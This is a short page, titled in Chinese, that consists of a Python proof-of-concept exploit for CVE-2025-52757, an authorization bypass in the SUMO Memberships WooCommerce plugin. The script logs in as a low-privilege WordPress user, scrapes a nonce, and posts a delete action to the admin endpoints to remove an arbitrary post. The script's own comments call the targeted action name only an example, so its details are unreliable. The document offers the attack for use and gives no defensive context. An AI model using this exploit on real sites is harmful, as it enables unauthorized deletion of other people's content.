CVE-2025-52757 WordPress SUMO Memberships权限绕过导致任意内容删除

# CVE-2025-52757 PoC - SUMO Memberships Authorization Bypass # Affected: SUMO Memberships for WooCommerce < 7.8.0 # Type: Missing Authorization / Broken Access Control import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonce(login_cookies, target_url): """Extract nonce from target page""" resp = requests.get(target_url, cookies=login_cookies) # Look for _wpnonce in forms or URLs import re nonce_pattern = re.compile(r'_wpnonce=([a-z0-9]+)') match = nonce_pattern.search(resp.text) return match.group(1) if match else None def exploit_authorization_bypass(): """Exploit Missing Authorization vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user (subscriber/contributor) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_resp = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=True ) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Logged in as low-privilege user") # Step 2: Identify vulnerable action endpoint # Common vulnerable endpoints in SUMO Memberships vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-post.php", f"{TARGET_URL}/wp-admin/admin-ajax.php" ] # Step 3: Attempt to trigger unauthorized action # Example: Deleting arbitrary content for endpoint in vulnerable_endpoints: post_data = { 'action': 'sumo_delete_membership_content', # Example action 'post_id': '1', # Target post ID to delete '_wpnonce': get_wordpress_nonce(session.cookies, TARGET_URL + '/wp-admin/') } resp = session.post(endpoint, data=post_data) if resp.status_code == 200: print(f"[+] Sent malicious request to {endpoint}") print(f"[+] Response: {resp.text[:200]}") return True if __name__ == "__main__": print("CVE-2025-52757 SUMO Memberships Authorization Bypass PoC") print("=" * 60) exploit_authorization_bypass()